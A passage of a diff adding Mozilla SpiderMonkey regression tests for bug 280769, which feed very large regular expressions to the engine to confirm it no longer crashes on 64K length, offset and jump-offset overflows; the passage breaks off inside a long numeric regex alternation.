+ re.exec('');
+}
+catch(e)
+{
+ printStatus('Exception executing RegExp: ' + e);
+}
+
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/regress/regress-280769-4.js b/js/src/tests/non262/regress/regress-280769-4.js
new file mode 100644
index 0000000000..eefc6db2c2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-280769-4.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 280769;
+var summary = 'Do not overflow 64K length of char sequence in RegExp []';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var N = 20 * 1000; // It should be that N*6 > 64K and N < 32K
+
+var prefixes = ["000", "00", "0"];
+
+function to_4_hex(i)
+{
+ var printed = i.toString(16);
+ if (printed.length < 4) {
+ printed= prefixes[printed.length - 1]+printed;
+ }
+ return printed;
+
+}
+
+var a = new Array(N);
+for (var i = 0; i != N; ++i) {
+ a[i] = to_4_hex(2*i);
+}
+
+var str = '[\\u'+a.join('\\u')+']';
+// str is [\u0000\u0002\u0004...\u<printed value of 2N>]
+
+var re = new RegExp(str);
+
+var string_to_match = String.fromCharCode(2 * (N - 1));
+
+var value = re.exec(string_to_match);
+
+var expect = string_to_match;
+var actual = value ? value[0] : value;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-280769-5.js b/js/src/tests/non262/regress/regress-280769-5.js
new file mode 100644
index 0000000000..930583a07a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-280769-5.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 280769;
+var summary = 'Do not overflow 64K string offset';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var N = 100 * 1000;
+
+var prefix = new Array(N).join("a"); // prefix is sequence of N "a"
+
+var suffix = "111";
+
+var re = new RegExp(prefix+"0?"+suffix); // re is /aaa...aaa0?111/
+
+var str_to_match = prefix+suffix; // str_to_match is "aaa...aaa111"
+
+try {
+ var index = str_to_match.search(re);
+
+ expect = 0;
+ actual = index;
+
+ reportCompare(expect, actual, summary);
+} catch (e) {
+ reportCompare(true, e instanceof Error, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-280769.js b/js/src/tests/non262/regress/regress-280769.js
new file mode 100644
index 0000000000..44873cf830
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-280769.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 280769;
+var summary = 'Do not crash on overflow of 32K boundary in regexp bytecode jump offset';
+var actual = 'No Crash';
+var expect = 'No Crash';
+var status;
+var result;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = summary + ' ' + inSection(1) + ' /1|...|6779/.exec("6777") ';
+
+var re = /1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219|220|221|222|223|224|225|226|227|228|229|230|231|232|233|234|235|236|237|238|239|240|241|242|243|244|245|246|247|248|249|250|251|252|253|254|255|256|257|258|259|260|261|262|263|264|265|266|267|268|269|270|271|272|273|274|275|276|277|278|279|280|281|282|283|284|285|286|287|288|289|290|291|292|293|294|295|296|297|298|299|300|301|302|303|304|305|306|307|308|309|310|311|312|313|314|315|316|317|318|319|320|321|322|323|324|325|326|327|328|329|330|331|332|333|334|335|336|337|338|339|340|341|342|343|344|345|346|347|348|349|350|351|352|353|354|355|356|357|358|359|360|361|362|363|364|365|366|367|368|369|370|371|372|373|374|375|376|377|378|379|380|381|382|383|384|385|386|387|388|389|390|391|392|393|394|395|396|397|398|399|400|401|402|403|404|405|406|407|408|409|410|411|412|413|414|415|416|417|418|419|420|421|422|423|424|425|426|427|428|429|430|431|432|433|434|435|436|437|438|439|440|441|442|443|444|445|446|447|448|449|450|451|452|453|454|455|456|457|458|459|460|461|462|463|464|465|466|467|468|469|470|471|472|473|474|475|476|477|478|479|480|481|482|483|484|485|486|487|488|489|490|491|492|493|494|495|496|497|498|499|500|501|502|503|504|505|506|507|508|509|510|511|512|513|514|515|516|517|518|519|520|521|522|523|524|525|526|527|528|529|530|531|532|533|534|535|536|537|538|539|540|541|542|543|544|545|546|547|548|549|550|551|552|553|554|555|556|557|558|559|560|561|562|563|564|565|566|567|568|569|570|571|572|573|574|575|576|577|578|579|580|581|582|583|584|585|586|587|588|589|590|591|592|593|594|595|596|597|598|599|600|601|602|603|604|605|606|607|608|609|610|611|612|613|614|615|616|617|618|619|620|621|622|623|624|625|626|627|628|629|630|631|632|633|634|635|636|637|638|639|640|641|642|643|644|645|646|647|648|649|650|651|652|653|654|655|656|657|658|659|660|661|662|663|664|665|666|667|668|669|670|671|672|673|674|675|676|677|678|679|680|681|682|683|684|685|686|687|688|689|690|691|692|693|694|695|696|697|698|699|700|701|702|703|704|705|706|707|708|709|710|711|712|713|714|715|716|717|718|719|720|721|722|723|724|725|726|727|728|729|730|731|732|733|734|735|736|737|738|739|740|741|742|743|744|745|746|747|748|749|750|751|752|753|754|755|756|757|758|759|760|761|762|763|764|765|766|767|768|769|770|771|772|773|774|775|776|777|778|779|780|781|782|783|784|785|786|787|788|789|790|791|792|793|794|795|796|797|798|799|800|801|802|803|804|805|806|807|808|809|810|811|812|813|814|815|816|817|818|819|820|821|822|823|824|825|826|827|828|829|830|831|832|833|834|835|836|837|838|839|840|841|842|843|844|845|846|847|848|849|850|851|852|853|854|855|856|857|858|859|860|861|862|863|864|865|866|867|868|869|870|871|872|873|874|875|876|877|878|879|880|881|882|883|884|885|886|887|888|889|890|891|892|893|894|895|896|897|898|899|900|901|902|903|904|905|906|907|908|909|910|911|912|913|914|915|916|917|918|919|920|921|922|923|924|925|926|927|928|929|930|931|932|933|934|935|936|937|938|939|940|941|942|943|944|945|946|947|948|949|950|951|952|953|954|955|956|957|958|959|960|961|962|963|964|965|966|967|968|969|970|971|972|973|974|975|976|977|978|979|980|981|982|983|984|985|986|987|988|989|990|991|992|993|994|995|996|997|998|999|1000|1001|1002|1003|1004|1005|1006|1007|1008|1009|1010|1011|1012|1013|1014|1015|1016|1017|1018|1019|1020|1021|1022|1023|1024|1025|1026|1027|1028|1029|1030|1031|1032|1033|1034|1035|1036|1037|1038|1039|1040|1041|1042|1043|1044|1045|1046|1047|1048|1049|1050|1051|1052|1053|1054|1055|1056|1057|1058|1059|1060|1061|1062|1063|1064|1065|1066|1067|1068|1069|1070|1071|1072|1073|1074|1075|1076|1077|1078|1079|1080|1081|1082|1083|1084|1085|1086|1087|1088|1089|1090|1091|1092|1093|1094|1095|1096|1097|1098|1099|1100|1101|1102|1103|1104|1105|1106|1107|1108|1109|1110|1111|1112|1113|1114|1115|1116|1117|1118|1119|1120|1121|1122|1123|1124|1125|1126|1127|1128|1129|1130|1131|1132|1133|1134|1135|1136|1137|1138|1139|1140|1141|1142|1143|1144|1145|1146|1147|1148|1149|1150|1151|1152|1153|1154|1155|1156|1157|1158|1159|1160|1161|1162|1163|1164|1165|1166|1167|1168|1169|1170|1171|1172|1173|1174|1175|1176|1177|1178|1179|1180|1181|1182|1183|1184|1185|1186|1187|1188|1189|1190|1191|1192|1193|1194|1195|1196|1197|1198|1199|1200|1201|1202|1203|1204|1205|1206|1207|1208|1209|1210|1211|1212|1213|1214|1215|1216|1217|1218|1219|1220|1221|1222|1223|1224|1225|1226|1227|1228|1229|1230|1231|1232|1233|1234|1235|1236|1237|1238|1239|1240|1241|1242|1243|1244|1245|1246|1247|1248|1249|1250|1251|1252|1253|1254|1255|1256|1257|1258|1259|1260|1261|1262|1263|1264|1265|1266|1267|1268|1269|1270|1271|1272|1273|1274|1275|1276|1277|1278|1279|1280|1281|1282|1283|1284|1285|1286|1287|1288|1289|1290|1291|1292|1293|1294|1295|1296|1297|1298|1299|1300|1301|1302|1303|1304|1305|1306|1307|1308|1309|1310|1311|1312|1313|1314|1315|1316|1317|1318|1319|1320|1321|1322|1323|1324|1325|1326|1327|1328|1329|1330|1331|1332|1333|1334|1335|1336|1337|1338|1339|1340|1341|1342|1343|1344|1345|1346|1347|1348|1349|1350|1351|1352|1353|1354|1355|1356|1357|1358|1359|1360|1361|1362|1363|1364|1365|1366|1367|1368|1369|1370|1371|1372|1373|1374|1375|1376|1377|1378|1379|1380|1381|1382|1383|1384|1385|1386|1387|1388|1389|1390|1391|1392|1393|1394|1395|1396|1397|1398|1399|1400|1401|1402|1403|1404|1405|1406|1407|1408|1409|1410|1411|1412|1413|1414|1415|1416|1417|1418|1419|1420|1421|1422|1423|1424|1425|1426|1427|1428|1429|1430|1431|1432|1433|1434|1435|1436|1437|1438|1439|1440|1441|1442|1443|1444|1445|1446|1447|1448|1449|1450|1451|1452|1453|1454|1455|1456|1457|1458|1459|1460|1461|1462|1463|1464|1465|1466|1467|1468|1469|1470|1471|1472|1473|1474|1475|1476|1477|1478|1479|1480|1481|1482|1483|1484|1485|1486|1487|1488|1489|1490|1491|1492|1493|1494|1495|1496|1497|1498|1499|1500|1501|1502|1503|1504|1505|1506|1507|1508|1509|1510|1511|1512|1513|1514|1515|1516|1517|1518|1519|1520|1521|1522|1523|1524|1525|1526|1527|1528|1529|1530|1531|1532|1533|1534|1535|1536|1537|1538|1539|1540|1541|1542|1543|1544|1545|1546|1547|1548|1549|1550|1551|1552|1553|1554|1555|1556|1557|1558|1559|1560|1561|1562|1563|1564|1565|1566|1567|1568|1569|1570|1571|1572|1573|1574|1575|1576|1577|1578|1579|1580|1581|1582|1583|1584|1585|1586|1587|1588|1589|1590|1591|1592|1593|1594|1595|1596|1597|1598|1599|1600|1601|1602|1603|1604|1605|1606|1607|1608|1609|1610|1611|1612|1613|1614|1615|1616|1617|1618|1619|1620|1621|1622|1623|1624|1625|1626|1627|1628|1629|1630|1631|1632|1633|1634|1635|1636|1637|1638|1639|1640|1641|1642|1643|1644|1645|1646|1647|1648|1649|1650|1651|1652|1653|1654|1655|1656|1657|1658|1659|1660|1661|1662|1663|1664|1665|1666|1667|1668|1669|1670|1671|1672|1673|1674|1675|1676|1677|1678|1679|1680|1681|1682|1683|1684|1685|1686|1687|1688|1689|1690|1691|1692|1693|1694|1695|1696|1697|1698|1699|1700|1701|1702|1703|1704|1705|1706|1707|1708|1709|1710|1711|1712|1713|1714|1715|1716|1717|1718|1719|1720|1721|1722|1723|1724|1725|1726|1727|1728|1729|1730|1731|1732|1733|1734|1735|1736|1737|1738|1739|1740|1741|1742|1743|1744|1745|1746|1747|1748|1749|1750|1751|1752|1753|1754|1755|1756|1757|1758|1759|1760|1761|1762|1763|1764|1765|1766|1767|1768|1769|1770|1771|1772|1773|1774|1775|1776|1777|1778|1779|1780|1781|1782|1783|1784|1785|1786|1787|1788|1789|1790|1791|1792|1793|1794|1795|1796|1797|1798|1799|1800|1801|1802|1803|1804|1805|1806|1807|1808|1809|1810|1811|1812|1813|1814|1815|1816|1817|1818|1819|1820|1821|1822|1823|1824|1825|1826|1827|1828|1829|1830|1831|1832|1833|1834|1835|1836|1837|1838|1839|1840|1841|1842|1843|1844|1845|1846|1847|1848|1849|1850|1851|1852|1853|1854|1855|1856|1857|1858|1859|1860|1861|1862|1863|1864|1865|1866|1867|1868|1869|1870|1871|1872|1873|1874|1875|1876|1877|1878|1879|1880|1881|1882|1883|1884|1885|1886|1887|1888|1889|1890|1891|1892|1893|1894|1895|1896|1897|1898|1899|1900|1901|1902|1903|1904|1905|1906|1907|1908|1909|1910|1911|1912|1913|1914|1915|1916|1917|1918|1919|1920|1921|1922|1923|1924|1925|1926|1927|1928|1929|1930|1931|1932|1933|1934|1935|1936|1937|1938|1939|1940|1941|1942|1943|1944|1945|1946|1947|1948|1949|1950|1951|1952|1953|1954|1955|1956|1957|1958|1959|1960|1961|1962|1963|1964|1965|1966|1967|1968|1969|1970|1971|1972|1973|1974|1975|1976|1977|1978|1979|1980|1981|1982|1983|1984|1985|1986|1987|1988|1989|1990|1991|1992|1993|1994|1995|1996|1997|1998|1999|2000|2001|2002|2003|2004|2005|2006|2007|2008|2009|2010|2011|2012|2013|2014|2015|2016|2017|2018|2019|2020|2021|2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035|2036|2037|2038|2039|2040|2041|2042|2043|2044|2045|2046|2047|2048|2049|2050|2051|2052|2053|2054|2055|2056|2057|2058|2059|2060|2061|2062|2063|2064|2065|2066|2067|2068|2069|2070|2071|2072|2073|2074|2075|2076|2077|2078|2079|2080|2081|2082|2083|2084|2085|2086|2087|2088|2089|2090|2091|2092|2093|2094|2095|2096|2097|2098|2099|2100|2101|2102|2103|2104|2105|2106|2107|2108|2109|2110|2111|2112|2113|2114|2115|2116|2117|2118|2119|2120|2121|2122|2123|2124|2125|2126|2127|2128|2129|2130|2131|2132|2133|2134|2135|2136|2137|2138|2139|2140|2141|2142|2143|2144|2145|2146|2147|2148|2149|2150|2151|2152|2153|2154|2155|2156|2157|2158|2159|2160|2161|2162|2163|2164|2165|2166|2167|2168|2169|2170|2171|2172|2173|2174|2175|2176|2177|2178|2179|2180|2181|2182|2183|2184|2185|2186|2187|2188|2189|2190|2191|2192|2193|2194|2195|2196|2197|2198|2199|2200|2201|2202|2203|2204|2205|2206|2207|2208|2209|2210|2211|2212|2213|2214|2215|2216|2217|2218|2219|2220|2221|2222|2223|2224|2225|2226|2227|2228|2229|2230|2231|2232|2233|2234|2235|2236|2237|2238|2239|2240|2241|2242|2243|2244|2245|2246|2247|2248|2249|2250|2251|2252|2253|2254|2255|2256|2257|2258|2259|2260|2261|2262|2263|2264|2265|2266|2267|2268|2269|2270|2271|2272|2273|2274|2275|2276|2277|2278|2279|2280|2281|2282|2283|2284|2285|2286|2287|2288|2289|2290|2291|2292|2293|2294|2295|2296|2297|2298|2299|2300|2301|2302|2303|2304|2305|2306|2307|2308|2309|2310|2311|2312|2313|2314|2315|2316|2317|2318|2319|2320|2321|2322|2323|2324|2325|2326|2327|2328|2329|2330|2331|2332|2333|2334|2335|2336|2337|2338|2339|2340|2341|2342|2343|2344|2345|2346|2347|2348|2349|2350|2351|2352|2353|2354|2355|2356|2357|2358|2359|2360|2361|2362|2363|2364|2365|2366|2367|2368|2369|2370|2371|2372|2373|2374|2375|2376|2377|2378|2379|2380|2381|2382|2383|2384|2385|2386|2387|2388|2389|2390|2391|2392|2393|2394|2395|2396|2397|2398|2399|2400|2401|2402|2403|2404|2405|2406|2407|2408|2409|2410|2411|2412|2413|2414|2415|2416|2417|2418|2419|2420|2421|2422|2423|2424|2425|2426|2427|2428|2429|2430|2431|2432|2433|2434|2435|2436|2437|2438|2439|2440|2441|2442|2443|2444|2445|2446|2447|2448|2449|2450|2451|2452|2453|2454|2455|2456|2457|2458|2459|2460|2461|2462|2463|2464|2465|2466|2467|2468|2469|2470|2471|2472|2473|2474|2475|2476|2477|2478|2479|2480|2481|2482|2483|2484|2485|2486|2487|2488|2489|2490|2491|2492|2493|2494|2495|2496|2497|2498|2499|2500|2501|2502|2503|2504|2505|2506|2507|2508|2509|2510|2511|2512|2513|2514|2515|2516|2517|2518|2519|2520|2521|2522|2523|2524|2525|2526|2527|2528|2529|2530|2531|2532|2533|2534|2535|2536|2537|2538|2539|2540|2541|2542|2543|2544|2545|2546|2547|2548|2549|2550|2551|2552|2553|2554|2555|2556|2557|2558|2559|2560|2561|2562|2563|2564|2565|2566|2567|2568|2569|2570|2571|2572|2573|2574|2575|2576|2577|2578|2579|2580|2581|2582|2583|2584|2585|2586|2587|2588|2589|2590|2591|2592|2593|2594|2595|2596|2597|2598|2599|2600|2601|2602|2603|2604|2605|2606|2607|2608|2609|2610|2611|2612|2613|2614|2615|2616|2617|2618|2619|2620|2621|2622|2623|2624|2625|2626|2627|2628|2629|2630|2631|2632|2633|2634|2635|2636|2637|2638|2639|2640|2641|2642|2643|2644|2645|2646|2647|2648|2649|2650|2651|2652|2653|2654|2655|2656|2657|2658|2659|2660|2661|2662|2663|2664|2665|2666|2667|2668|2669|2670|2671|2672|2673|2674|2675|2676|2677|2678|2679|2680|2681|2682|2683|2684|2685|2686|2687|2688|2689|2690|2691|2692|2693|2694|2695|2696|2697|2698|2699|2700|2701|2702|2703|2704|2705|2706|2707|2708|2709|2710|2711|2712|2713|2714|2715|2716|2717|2718|2719|2720|2721|2722|2723|2724|2725|2726|2727|2728|2729|2730|2731|2732|2733|2734|2735|2736|2737|2738|2739|2740|2741|2742|2743|2744|2745|2746|2747|2748|2749|2750|2751|2752|2753|2754|2755|2756|2757|2758|2759|2760|2761|2762|2763|2764|2765|2766|2767|2768|2769|2770|2771|2772|2773|2774|2775|2776|2777|2778|2779|2780|2781|2782|2783|2784|2785|2786|2787|2788|2789|2790|2791|2792|2793|2794|2795|2796|2797|2798|2799|2800|2801|2802|2803|2804|2805|2806|2807|2808|2809|2810|2811|2812|2813|2814|2815|2816|2817|2818|2819|2820|2821|2822|2823|2824|2825|2826|2827|2828|2829|2830|2831|2832|2833|2834|2835|2836|2837|2838|2839|2840|2841|2842|2843|2844|2845|2846|2847|2848|2849|2850|2851|2852|2853|2854|2855|2856|2857|2858|2859|2860|2861|2862|2863|2864|2865|2866|2867|2868|2869|2870|2871|2872|2873|2874|2875|2876|2877|2878|2879|2880|2881|2882|2883|2884|2885|2886|2887|2888|2889|2890|2891|2892|2893|2894|2895|2896|2897|2898|2899|2900|2901|2902|2903|2904|2905|2906|2907|2908|2909|2910|2911|2912|2913|2914|2915|2916|2917|2918|2919|2920|2921|2922|2923|2924|2925|2926|2927|2928|2929|2930|2931|2932|2933|2934|2935|2936|2937|2938|2939|2940|2941|2942|2943|2944|2945|2946|2947|2948|2949|2950|2951|2952|2953|2954|2955|2956|2957|2958|2959|2960|2961|2962|2963|2964|2965|2966|2967|2968|2969|2970|2971|2972|2973|2974|2975|2976|2977|2978|2979|2980|2981|2982|2983|2984|2985|2986|2987|2988|2989|2990|2991|2992|2993|2994|2995|2996|2997|2998|2999|3000|3001|3002|3003|3004|3005|3006|3007|3008|3009|3010|3011|3012|3013|3014|3015|3016|3017|3018|3019|3020|3021|3022|3023|3024|3025|3026|3027|3028|3029|3030|3031|3032|3033|3034|3035|3036|3037|3038|3039|3040|3041|3042|3043|3044|3045|3046|3047|3048|3049|3050|3051|3052|3053|3054|3055|3056|3057|3058|3059|3060|3061|3062|3063|3064|3065|3066|3067|3068|3069|3070|3071|3072|3073|3074|3075|3076|3077|3078|3079|3080|3081|3082|3083|3084|3085|3086|3087|3088|3089|3090|3091|3092|3093|3094|3095|3096|3097|3098|3099|3100|3101|3102|3103|3104|3105|3106|3107|3108|3109|3110|3111|3112|3113|3114|3115|3116|3117|3118|3119|3120|3121|3122|3123|3124|3125|3126|3127|3128|3129|3130|3131|3132|3133|3134|3135|3136|3137|3138|3139|3140|3141|3142|3143|3144|3145|3146|3147|3148|3149|3150|3151|3152|3153|3154|3155|3156|3157|3158|3159|3160|3161|3162|3163|3164|3165|3166|3167|3168|3169|3170|3171|3172|3173|3174|3175|3176|3177|3178|3179|3180|3181|3182|3183|3184|3185|3186|3187|3188|3189|3190|3191|3192|3193|3194|3195|3196|3197|3198|3199|3200|3201|3202|3203|3204|3205|3206|3207|3208|3209|3210|3211|3212|3213|3214|3215|3216|3217|3218|3219|3220|3221|3222|3223|3224|3225|3226|3227|3228|3229|3230|3231|3232|3233|3234|3235|3236|3237|3238|3239|3240|3241|3242|3243|3244|3245|3246|3247|3248|3249|3250|3251|3252|3253|3254|3255|3256|3257|3258|3259|3260|3261|3262|3263|3264|3265|3266|3267|3268|3269|3270|3271|3272|3273|3274|3275|3276|3277|3278|3279|3280|3281|3282|3283|3284|3285|3286|3287|3288|3289|3290|3291|3292|3293|3294|3295|3296|3297|3298|3299|3300|3301|3302|3303|3304|3305|3306|3307|3308|3309|3310|3311|3312|3313|3314|3315|3316|3317|3318|3319|3320|3321|3322|3323|3324|3325|3326|3327|3328|3329|3330|3331|3332|3333|3334|3335|3336|3337|3338|3339|3340|3341|3342|3343|3344|3345|3346|3347|3348|3349|3350|3351|3352|3353|3354|3355|3356|3357|3358|3359|3360|3361|3362|3363|3364|3365|3366|3367|3368|3369|3370|3371|3372|3373|3374|3375|3376|3377|3378|3379|3380|3381|3382|3383|3384|3385|3386|3387|3388|3389|3390|3391|3392|3393|3394|3395|3396|3397|3398|3399|3400|3401|3402|3403|3404|3405|3406|3407|3408|3409|3410|3411|3412|3413|3414|3415|3416|3417|3418|3419|3420|3421|3422|3423|3424|3425|3426|3427|3428|3429|3430|3431|3432|3433|3434|3435|3436|3437|3438|3439|3440|3441|3442|3443|3444|3445|3446|3447|3448|3449|3450|3451|3452|3453|3454|3455|3456|3457|3458|3459|3460|3461|3462|3463|3464|3465|3466|3467|3468|3469|3470|3471|3472|3473|3474|3475|3476|3477|3478|3479|3480|3481|3482|3483|3484|3485|3486|3487|3488|3489|3490|3491|3492|3493|3494|3495|3496|3497|3498|3499|3500|3501|3502|3503|3504|3505|3506|3507|3508|3509|3510|3511|3512|3513|3514|3515|3516|3517|3518|3519|3520|3521|3522|3523|3524|3525|3526|3527|3528|3529|3530|3531|3532|3533|3534|3535|3536|3537|3538|3539|3540|3541|3542|3543|3544|3545|3546|3547|3548|3549|3550|3551|3552|3553|3554|3555|3556|3557|3558|3559|3560|3561|3562|3563|3564|3565|3566|3567|3568|3569|3570|3571|3572|3573|3574|3575|3576|3577|3578|3579|3580|3581|3582|3583|3584|3585|3586|3587|3588|3589|3590|3591|3592|3593|3594|3595|3596|3597|3598|3599|3600|3601|3602|3603|3604|3605|3606|3607|3608|3609|3610|3611|3612|3613|3614|3615|3616|3617|3618|3619|3620|3621|3622|3623|3624|3625|3626|3627|3628|3629|3630|3631|3632|3633|3634|3635|3636|3637|3638|3639|3640|3641|3642|3643|3644|3645|3646|3647|3648|3649|3650|3651|3652|3653|3654|3655|3656|3657|3658|3659|3660|3661|3662|3663|3664|3665|3666|3667|3668|3669|3670|3671|3672|3673|3674|3675|3676|3677|3678|3679|3680|3681|3682|3683|3684|3685|3686|3687|3688|3689|3690|3691|3692|3693|3694|3695|3696|3697|3698|3699|3700|3701|3702|3703|3704|3705|3706|3707|3708|3709|3710|3711|3712|3713|3714|3715|3716|3717|3718|3719|3720|3721|3722|3723|3724|3725|3726|3727|3728|3729|3730|3731|3732|3733|3734|3735|3736|3737|3738|3739|3740|3741|3742|3743|3744|3745|3746|3747|3748|3749|3750|3751|3752|3753|3754|3755|3756|3757|3758|3759|3760|3761|3762|3763|3764|3765|3766|3767|3768|3769|3770|3771|3772|3773|3774|3775|3776|3777|3778|3779|3780|3781|3782|3783|3784|3785|3786|3787|3788|3789|3790|3791|3792|3793|3794|3795|3796|3797|3798|3799|3800|3801|3802|3803|3804|3805|3806|3807|3808|3809|3810|3811|3812|3813|3814|3815|3816|3817|3818|3819|3820|3821|3822|3823|3824|3825|3826|3827|3828|3829|3830|3831|3832|3833|3834|3835|3836|3837|3838|3839|3840|3841|3842|3843|3844|3845|3846|3847|3848|3849|3850|3851|3852|3853|3854|3855|3856|3857|3858|3859|3860|3861|3862|3863|3864|3865|3866|3867|3868|3869|3870|3871|3872|3873|3874|3875|3876|3877|3878|3879|3880|3881|3882|3883|3884|3885|3886|3887|3888|3889|3890|3891|3892|3893|3894|3895|3896|3897|3898|3899|3900|3901|3902|3903|3904|3905|3906|3907|3908|3909|3910|3911|3912|3913|3914|3915|3916|3917|3918|3919|3920|3921|3922|3923|3924|3925|3926|3927|3928|3929|3930|3931|3932|3933|3934|3935|3936|3937|3938|3939|3940|3941|3942|3943|3944|3945|3946|3947|3948|3949|3950|3951|3952|3953|3954|3955|3956|3957|3958|3959|3960|3961|3962|3963|3964|3965|3966|3967|3968|3969|3970|3971|3972|3973|3974|3975|3976|3977|3978|3979|3980|3981|3982|3983|3984|3985|3986|3987|3988|3989|3990|3991|3992|3993|3994|3995|3996|3997|3998|3999|4000|4001|4002|4003|4004|4005|4006|4007|4008|4009|4010|4011|4012|4013|4014|4015|4016|4017|4018|4019|4020|4021|4022|4023|4024|4025|4026|4027|4028|4029|4030|4031|4032|4033|4034|4035|4036|4037|4038|4039|4040|4041|4042|4043|4044|4045|4046|4047|4048|4049|4050|4051|4052|4053|4054|4055|4056|4057|4058|4059|4060|4061|4062|4063|4064|4065|4066|4067|4068|4069|4070|4071|4072|4073|4074|4075|4076|4077|4078|4079|4080|4081|4082|4083|4084|4085|4086|4087|4088|4089|4090|4091|4092|4093|4094|4095|4096|4097|4098|4099|4100|4101|4102|4103|4104|4105|4106|4107|4108|4109|4110|4111|4112|4113|4114|4115|4116|4117|4118|4119|4120|4121|4122|4123|4124|4125|4126|4127|4128|4129|4130|4131|4132|4133|4134|4135|4136|4137|4138|4139|4140|4141|4142|4143|4144|4145|4146|4147|4148|4149|4150|4151|4152|4153|4154|4155|4156|4157|4158|4159|4160|4161|4162|4163|4164|4165|4166|4167|4168|4169|4170|4171|4172|4173|4174|4175|4176|4177|4178|4179|4180|4181|4182|4183|4184|4185|4186|4187|4188|4189|4190|4191|4192|4193|4194|4195|4196|4197|4198|4199|4200|4201|4202|4203|4204|4205|4206|4207|4208|4209|4210|4211|4212|4213|4214|4215|4216|4217|4218|4219|4220|4221|4222|4223|4224|4225|4226|4227|4228|4229|4230|4231|4232|4233|4234|4235|4236|4237|4238|4239|4240|4241|4242|4243|4244|4245|4246|4247|4248|4249|4250|4251|4252|4253|4254|4255|4256|4257|4258|4259|4260|4261|4262|4263|4264|4265|4266|4267|4268|4269|4270|4271|4272|4273|4274|4275|4276|4277|4278|4279|4280|4281|4282|4283|4284|4285|4286|4287|4288|4289|4290|4291|4292|4293|4294|4295|4296|4297|4298|4299|4300|4301|4302|4303|4304|4305|4306|4307|4308|4309|4310|4311|4312|4313|4314|4315|4316|4317|4318|4319|4320|4321|4322|4323|4324|4325|4326|4327|4328|4329|4330|4331|4332|4333|4334|4335|4336|4337|4338|4339|4340|4341|4342|4343|4344|4345|4346|4347|4348|4349|4350|4351|4352|4353|4354|4355|4356|4357|4358|4359|4360|4361|4362|4363|4364|4365|4366|4367|4368|4369|4370|4371|4372|4373|4374|4375|4376|4377|4378|4379|4380|4381|4382|4383|4384|4385|4386|4387|4388|4389|4390|4391|4392|4393|4394|4395|4396|4397|4398|4399|4400|4401|4402|4403|4404|4405|4406|4407|4408|4409|4410|4411|4412|4413|4414|4415|4416|4417|4418|4419|4420|4421|4422|4423|4424|4425|4426|4427|4428|4429|4430|4431|4432|4433|4434|4435|4436|4437|4438|4439|4440|4441|4442|4443|4444|4445|4446|4447|4448|4449|4450|4451|4452|4453|4454|4455|4456|4457|4458|4459|4460|4461|4462|4463|4464|4465|4466|4467|4468|4469|4470|4471|4472|4473|4474|4475|4476|4477|4478|4479|4480|4481|4482|4483|4484|4485|4486|4487|4488|4489|4490|4491|4492|4493|4494|4495|4496|4497|4498|4499|4500|4501|4502|4503|4504|4505|4506|4507|4508|4509|4510|4511|4512|4513|4514|4515|4516|4517|4518|4519|4520|4521|4522|4523|4524|4525|4526|4527|4528|4529|4530|4531|4532|4533|4534|4535|4536|4537|4538|4539|4540|4541|4542|4543|4544|4545|4546|4547|4548|4549|4550|4551|4552|4553|4554|4555|4556|4557|4558|4559|4560|4561|4562|4563|4564|4565|4566|4567|4568|4569|4570|4571|4572|4573|4574|4575|4576|4577|4578|4579|4580|4581|4582|4583|4584|4585|4586|4587|4588|4589|4590|4591|4592|4593|4594|4595|4596|4597|4598|4599|4600|4601|4602|4603|4604|4605|4606|4607|4608|4609|4610|4611|4612|4613|4614|4615|4616|4617|4618|4619|4620|4621|4622|4623|4624|4625|4626|4627|4628|4629|4630|4631|4632|4633|4634|4635|4636|4637|4638|4639|4640|4641|4642|4643|4644|4645|4646|4647|4648|4649|4650|4651|4652|4653|4654|4655|4656|4657|4658|4659|4660|4661|4662|4663|4664|4665|4666|4667|4668|4669|4670|4671|4672|4673|4674|4675|4676|4677|4678|4679|4680|4681|4682|4683|4684|4685|4686|4687|4688|4689|4690|4691|4692|4693|4694|4695|4696|4697|4698|4699|4700|4701|4702|4703|4704|4705|4706|4707|4708|4709|4710|4711|4712|4713|4714|4715|4716|4717|4718|4719|4720|4721|4722|4723|4724|4725|4726